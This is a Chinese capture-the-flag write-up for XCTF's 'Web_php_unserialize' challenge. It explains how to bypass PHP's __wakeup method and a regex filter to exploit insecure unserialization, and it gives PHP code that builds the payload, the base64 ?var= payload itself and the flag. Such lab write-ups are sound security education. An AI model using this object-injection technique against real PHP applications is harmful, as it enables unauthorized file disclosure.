Web_XCTF_WriteUp | Web_php_unserialize
题目
分析
根据题目了解到这题考察 php 反序列化漏洞。
浅读一下 php 代码:
<?php class Demo { // Demo类 private $file = 'index.php'; // 私有变量file赋为字符串index.php public function __construct($file) { // 构建公有函数__construct,传参file $this->file = $file; // file变量的值赋给this对象调用的类的成员file } function __destruct() { // 构建析构函数(魔术方法) echo @highlight_file($this->file, true); // this对象调用的类的成员file高亮显示并返回高亮代码输出,若执行出错不输出报错信息 } function __wakeup() { // 初始化函数(魔术方法) if ($this->file != 'index.php') { // 如果this对象调用的类的成员file的字符串不是index.php //the secret is in the fl4g.php // 秘密在fl4g.php中 $this->file = 'index.php'; // 把this对象调用的类的成员file的字符串赋为index.php } } } if (isset($_GET['var'])) { // 如果get表单得到的var值已设置且非空 $var = base64_decode($_GET['var']); // 将var值进行base64解码赋给变量var if (preg_match('/[oc]:\d+:/i', $var)) { // 如果在变量var中匹配到连续的(“o”或“O”或“c”或“C”)+“:”+任意长度数字字符串+“:” die('stop hacking!'); // 输出stop hacking!并退出脚本 } else { // 否则 @unserialize($var); // 对参数var执行反序列化函数,若执行出错不输出报错信息 } } else { // 否则 highlight_file("index.php"); // 对字符串index.php高亮显示 } ?>
根据代码我们得到信息:
- flag 文件名为 fl4g.php
- 若 this 对象调用的类的成员 file 如果未被引用,__destruct 函数在脚本退出时直接输出内容
- __wakeup 函数在 unserialize 函数执行前将 this 对象调用的类的成员 file 的字符串内容固定为 index.php
- 传入 var 的参数字符串为序列化的字符串,且不能是 common object 类型(o)或 class 类型(O)或 custom object 类型(C)
因此,我们需要通过向 var 变量传入经 base64 加密后的序列绕开 __wakeup 函数,这里可以采用将序列化结果的参数数量增加至超过实际数量实现;
为了绕过正则的过滤,我们在过滤条件中添加 +
符号使序列不满足判断条件且可以正常执行;
同时调用 this->file 输出 fl4g.php 的内容。
构造代码:
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } // 创建新对象用于序列化xctf函数,参数为flag文件名 $serxctf = new Demo('fl4g.php'); // // 序列化 // echo(serialize($serxctf)); // echo '<br/>'; // // 在序列第2位插入“+”符号 // echo(substr_replace(serialize($serxctf),'+',2,0)); // echo '<br/>'; // // 将序列第12位更改为9 // echo(substr_replace(substr_replace(serialize($serxctf),'+',2,0),'9',12,1)); // echo '<br/>'; echo(base64_encode(substr_replace(substr_replace(serialize($serxctf),'+',2,0),'9',12,1))); ?>
保存为 php 文件并运行,得到结果:TzorNDoiRGVtbyI6OTp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
构造 payload ?var=TzorNDoiRGVtbyI6OTp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
传入参数,得到 flag 内容:
Flag
ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}
参考
PHP 教程-菜鸟教程
PHP中的符号 ->、=> 和 :: 详解-深夜程序猿-CSDN
PHP: 魔术方法-Manual
PHP序列化与反序列化(__sleep与__wakeup-1stPeak-CSDN
[CTF]PHP反序列化总结-Y4tacker-CSDN
Web_XCTF_WriteUp | unserialize3-Guanz-博客园
PHP: base64_encode-Manual
php怎么给字符串添加字符-编程语言-亿速云
php常用换行代码-1stPeak-CSDN
本文作者:Guanz
本文链接:https://www.cnblogs.com/Guanz/p/17884362.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步